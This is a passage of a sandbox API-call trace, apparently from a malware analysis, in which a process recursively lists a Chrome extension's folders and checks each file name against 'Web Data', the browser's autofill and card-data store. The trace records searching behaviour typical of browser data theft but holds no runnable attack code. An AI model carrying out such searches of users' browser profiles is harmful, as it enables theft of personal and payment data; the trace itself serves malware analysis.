Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\" [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\") returned 114 [0056.384] lstrlenA (lpString="1.1_0") returned 5 [0056.384] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x2debc8 [0056.384] lstrcpyA (in: lpString1=0x2debc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\" [0056.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\", lpString2="1.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" [0056.384] LocalFree (hMem=0x2deac8) returned 0x0 [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned 119 [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned 119 [0056.384] lstrlenA (lpString="\\*.*") returned 4 [0056.384] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2decc8 [0056.384] lstrcpyA (in: lpString1=0x2decc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" [0056.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*.*" [0056.384] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.384] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.384] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.385] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.385] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.385] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.385] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0056.385] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.385] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0056.385] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.385] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0056.385] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.385] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0056.385] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.385] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.385] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.385] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.385] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.385] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned 119 [0056.385] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned 119 [0056.385] lstrlenA (lpString="\\") returned 1 [0056.385] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dfdd8 [0056.385] lstrcpyA (in: lpString1=0x2dfdd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" [0056.385] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\" [0056.385] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\") returned 120 [0056.385] lstrlenA (lpString="_locales") returned 8 [0056.385] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x2dfee0 [0056.385] lstrcpyA (in: lpString1=0x2dfee0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\" [0056.385] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.385] LocalFree (hMem=0x2dfdd8) returned 0x0 [0056.385] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.385] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.385] lstrlenA (lpString="\\*.*") returned 4 [0056.385] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dfff0 [0056.385] lstrcpyA (in: lpString1=0x2dfff0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.385] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*.*" [0056.385] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.386] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.386] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.386] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.386] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.386] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.386] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.386] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.386] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.386] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.386] lstrlenA (lpString="\\") returned 1 [0056.386] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.386] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.386] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.386] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.386] lstrlenA (lpString="ar") returned 2 [0056.386] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.386] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.386] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar" [0056.386] LocalFree (hMem=0x2e0100) returned 0x0 [0056.386] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar") returned 131 [0056.386] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar") returned 131 [0056.386] lstrlenA (lpString="\\*.*") returned 4 [0056.386] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.386] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar" [0056.386] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*.*" [0056.386] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.386] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.387] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.387] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.387] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.387] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.387] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.387] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.387] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.387] LocalFree (hMem=0x2e0100) returned 0x0 [0056.387] LocalFree (hMem=0x2e0210) returned 0x0 [0056.387] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.387] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.387] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.387] lstrlenA (lpString="\\") returned 1 [0056.387] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.387] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.387] lstrlenA (lpString="bg") returned 2 [0056.387] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.387] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg" [0056.387] LocalFree (hMem=0x2e0100) returned 0x0 [0056.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg") returned 131 [0056.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg") returned 131 [0056.387] lstrlenA (lpString="\\*.*") returned 4 [0056.387] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.387] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg" [0056.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*.*" [0056.387] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.387] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.387] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.387] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.387] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.387] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.387] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.387] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.387] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.387] LocalFree (hMem=0x2e0100) returned 0x0 [0056.387] LocalFree (hMem=0x2e0210) returned 0x0 [0056.387] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.387] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.387] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.387] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.388] lstrlenA (lpString="\\") returned 1 [0056.388] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.388] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.388] lstrlenA (lpString="ca") returned 2 [0056.388] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.388] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca" [0056.388] LocalFree (hMem=0x2e0100) returned 0x0 [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca") returned 131 [0056.388] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 